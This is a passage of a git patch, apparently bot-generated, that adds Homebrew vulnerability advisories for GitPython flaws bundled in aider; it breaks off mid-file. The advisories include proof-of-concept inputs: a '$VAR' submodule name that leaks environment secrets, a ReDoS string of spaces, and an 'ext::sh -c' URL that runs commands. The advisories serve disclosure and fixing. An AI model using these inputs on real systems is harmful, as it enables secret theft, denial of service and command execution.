From 23cfbfe5808a654c6724019bb5373c1ff97d37b9 Mon Sep 17 00:00:00 2001 From: BrewTestBot <1589480+BrewTestBot@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:38:12 +0000 Subject: [PATCH] Matched advisory candidates (shard 2b) Base: f5f213fd71f52ab1b30a810cf36d42680fb494fe --- advisories/BREW-aider-CVE-2025-43859.json | 10 +- advisories/BREW-aider-CVE-2026-110855.json | 81 +++++++++++ advisories/BREW-aider-CVE-2026-110856.json | 81 +++++++++++ advisories/BREW-aider-CVE-2026-110857.json | 81 +++++++++++ advisories/BREW-aider-CVE-2026-110858.json | 81 +++++++++++ advisories/BREW-aider-CVE-2026-110859.json | 81 +++++++++++ advisories/BREW-aider-CVE-2026-110860.json | 75 ++++++++++ advisories/BREW-aider-CVE-2026-111063.json | 12 +- advisories/BREW-aider-CVE-2026-112390.json | 5 +- advisories/BREW-aider-CVE-2026-112391.json | 5 +- advisories/BREW-aider-CVE-2026-112392.json | 6 +- advisories/BREW-aider-CVE-2026-112393.json | 5 +- advisories/BREW-aider-CVE-2026-112394.json | 6 +- advisories/BREW-aider-CVE-2026-112395.json | 5 +- advisories/BREW-aider-CVE-2026-112396.json | 6 +- advisories/BREW-aider-CVE-2026-112397.json | 5 +- advisories/BREW-aider-CVE-2026-112399.json | 5 +- advisories/BREW-aider-CVE-2026-112400.json | 5 +- advisories/BREW-aider-CVE-2026-112401.json | 5 +- advisories/BREW-aider-CVE-2026-112402.json | 5 +- advisories/BREW-aider-CVE-2026-112403.json | 5 +- advisories/BREW-aider-CVE-2026-112404.json | 5 +- advisories/BREW-aider-CVE-2026-112405.json | 5 +- advisories/BREW-aider-CVE-2026-112406.json | 5 +- advisories/BREW-aider-CVE-2026-112891.json | 5 +- advisories/BREW-aider-CVE-2026-112892.json | 5 +- advisories/BREW-aider-CVE-2026-112893.json | 5 +- advisories/BREW-aider-CVE-2026-112894.json | 5 +- advisories/BREW-aider-CVE-2026-112895.json | 5 +- advisories/BREW-aider-CVE-2026-112896.json | 5 +- advisories/BREW-aider-CVE-2026-112897.json | 5 +- advisories/BREW-aider-CVE-2026-112898.json | 5 +- advisories/BREW-aider-CVE-2026-112900.json | 5 +- advisories/BREW-aider-CVE-2026-112901.json | 5 +- advisories/BREW-aider-CVE-2026-114145.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-114501.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96636.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96637.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96638.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96639.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96640.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96641.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96642.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96643.json | 85 +++++++++++ advisories/BREW-aider-CVE-2026-96778.json | 85 +++++++++++ .../BREW-aider-GHSA-g5ff-637f-6q2m.json | 80 +++++++++++ .../BREW-aider-GHSA-hhww-mrg2-969h.json | 80 +++++++++++ advisories/BREW-datalad-CVE-2026-114613.json | 84 +++++++++++ advisories/BREW-dnsviz-CVE-2026-114605.json | 84 +++++++++++ .../BREW-dnsviz-GHSA-xmj3-9gf7-h52w.json | 83 +++++++++++ .../BREW-mcp-proxy-GHSA-pxh4-856f-4h89.json | 79 ++++++++++ .../BREW-mistral-vibe-CVE-2026-110855.json | 81 +++++++++++ .../BREW-mistral-vibe-CVE-2026-110856.json | 81 +++++++++++ .../BREW-mistral-vibe-CVE-2026-110857.json | 81 +++++++++++ .../BREW-mistral-vibe-CVE-2026-110858.json | 81 +++++++++++ .../BREW-mistral-vibe-CVE-2026-110859.json | 81 +++++++++++ .../BREW-mistral-vibe-CVE-2026-110860.json | 75 ++++++++++ .../BREW-mistral-vibe-CVE-2026-114145.json | 85 +++++++++++ .../BREW-mistral-vibe-CVE-2026-114603.json | 85 +++++++++++ ...BREW-mistral-vibe-GHSA-pxh4-856f-4h89.json | 79 ++++++++++ advisories/BREW-py7zr-CVE-2026-111497.json | 136 ++++++++++++++++++ 61 files changed, 2871 insertions(+), 54 deletions(-) create mode 100644 advisories/BREW-aider-CVE-2026-110855.json create mode 100644 advisories/BREW-aider-CVE-2026-110856.json create mode 100644 advisories/BREW-aider-CVE-2026-110857.json create mode 100644 advisories/BREW-aider-CVE-2026-110858.json create mode 100644 advisories/BREW-aider-CVE-2026-110859.json create mode 100644 advisories/BREW-aider-CVE-2026-110860.json create mode 100644 advisories/BREW-aider-CVE-2026-114145.json create mode 100644 advisories/BREW-aider-CVE-2026-114501.json create mode 100644 advisories/BREW-aider-CVE-2026-96636.json create mode 100644 advisories/BREW-aider-CVE-2026-96637.json create mode 100644 advisories/BREW-aider-CVE-2026-96638.json create mode 100644 advisories/BREW-aider-CVE-2026-96639.json create mode 100644 advisories/BREW-aider-CVE-2026-96640.json create mode 100644 advisories/BREW-aider-CVE-2026-96641.json create mode 100644 advisories/BREW-aider-CVE-2026-96642.json create mode 100644 advisories/BREW-aider-CVE-2026-96643.json create mode 100644 advisories/BREW-aider-CVE-2026-96778.json create mode 100644 advisories/BREW-aider-GHSA-g5ff-637f-6q2m.json create mode 100644 advisories/BREW-aider-GHSA-hhww-mrg2-969h.json create mode 100644 advisories/BREW-datalad-CVE-2026-114613.json create mode 100644 advisories/BREW-dnsviz-CVE-2026-114605.json create mode 100644 advisories/BREW-dnsviz-GHSA-xmj3-9gf7-h52w.json create mode 100644 advisories/BREW-mcp-proxy-GHSA-pxh4-856f-4h89.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110855.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110856.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110857.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110858.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110859.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-110860.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-114145.json create mode 100644 advisories/BREW-mistral-vibe-CVE-2026-114603.json create mode 100644 advisories/BREW-mistral-vibe-GHSA-pxh4-856f-4h89.json create mode 100644 advisories/BREW-py7zr-CVE-2026-111497.json diff --git a/advisories/BREW-aider-CVE-2025-43859.json b/advisories/BREW-aider-CVE-2025-43859.json index 31eaac0d3e1..a140bacaf87 100644 --- a/advisories/BREW-aider-CVE-2025-43859.json +++ b/advisories/BREW-aider-CVE-2025-43859.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2025-43859", "published": "2026-08-13T16:35:12Z", - "modified": "2026-09-17T19:11:20Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-vqfr-h8mv-ghfj", "CVE-2025-43859", @@ -73,9 +73,17 @@ "type": "WEB", "url": "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/h11/PYSEC-2026-348.yaml" + }, { "type": "PACKAGE", "url": "https://github.com/python-hyper/h11" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/h11" } ] } diff --git a/advisories/BREW-aider-CVE-2026-110855.json b/advisories/BREW-aider-CVE-2026-110855.json new file mode 100644 index 00000000000..470ab55525c --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110855.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110855", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-fx3j-rwgx-fr94", + "CVE-2026-110855" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name", + "details": "### Summary\n`Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are.\n\n### Root cause / Details\n`git/repo/base.py`'s `_clone()` has:\n\n```python\nsep_dir = kwargs.get(\"separate_git_dir\")\nif sep_dir:\n kwargs[\"separate_git_dir\"] = Git.polish_url(sep_dir)\n```\n\nThis is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: \"Disable this for values obtained from an untrusted source, such as remote URLs.\" Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path.\n\n`separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, \"modules\", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.\n\n### Reproduction (live, against real, unmodified GitPython code, no monkeypatching)\nBuilt a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the \"victim\" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses:\n\n```python\nrepo = Repo.clone_from(evil_parent_url, victim_clone_dir)\nrepo.submodule_update(init=True, recursive=True)\n```\n\nObserved result (`ls .git/modules/`):\n\n```\n.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/)\n```\n\nThe literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)\n\n**Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/` as expected — isolating the gap to submodule names containing environment-variable syntax specifically.\n\n### Already-known check\nChecked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S \"separate_git_dir\" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`).\n\nThe closest topical match is `GHSA-8mcc-hrx5-hvxc` (\"`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`\") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.\n\nNo advisory describes environment-variable expansion via the internal `separate_git_dir` path.\n\n### Suggested fix\nAdd `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same class of issue.\n\n### Verification level\nReproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).\n\n### AI Use Disclosure\nAI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.\n\nCredit: please use \"baeseungwon1010\" (github.com/baeseungwon1010).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2255" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-110856.json b/advisories/BREW-aider-CVE-2026-110856.json new file mode 100644 index 00000000000..5c840ee64ee --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110856.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110856", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-m64x-33q8-m5h7", + "CVE-2026-110856" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines", + "details": "### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\") # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n altz_to_utctz_str,\n from_timestamp,\n+ parse_actor_and_date,\n parse_date,\n tzoffset,\n utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n Actor(\"name last another\", \"some-very-long-email@example.com\"),\n )\n \n+ def test_parse_actor_and_date_malformed_line_is_linear(self):\n+ # A long author line whose trailing epoch/offset is missing or malformed used to make\n+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+ # The parse result must be unchanged; only the time spent reaching it should move.\n+ for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+ line = \"author \" + \" \" * 32000 + tail\n+ start = time.perf_counter()\n+ actor, epoch, offset = parse_actor_and_date(line)\n+ self.assertLess(time.perf_counter() - start, 1.0)\n+ self.assertEqual(epoch, 0)\n+ self.assertEqual(offset, 0)\n+\n+ # Well-formed lines, including one with a long name, still parse exactly as before.\n+ actor, epoch, offset = parse_actor_and_date(\n+ \"author Tom Preston-Werner 1191999972 -0700\"\n+ )\n+ self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+ self.assertEqual(epoch, 1191999972)\n+ self.assertEqual(offset, 25200)\n+\n+ actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \" 1 -0700\")\n+ self.assertEqual(actor.email, \"a@b\")\n+ self.assertEqual(epoch, 1)\n+\n @ddt.data(\n (\"name\", \"\"),\n (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2253" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-110857.json b/advisories/BREW-aider-CVE-2026-110857.json new file mode 100644 index 00000000000..e6699a7aa85 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110857.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110857", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-w8jc-g24h-crhw", + "CVE-2026-110857" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython command wrappers omit unsafe protocol and option checks", + "details": "### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2251" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-110858.json b/advisories/BREW-aider-CVE-2026-110858.json new file mode 100644 index 00000000000..94d8565968c --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-110858.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-110858", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-f9j4-qggq-h239", + "CVE-2026-110858" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": 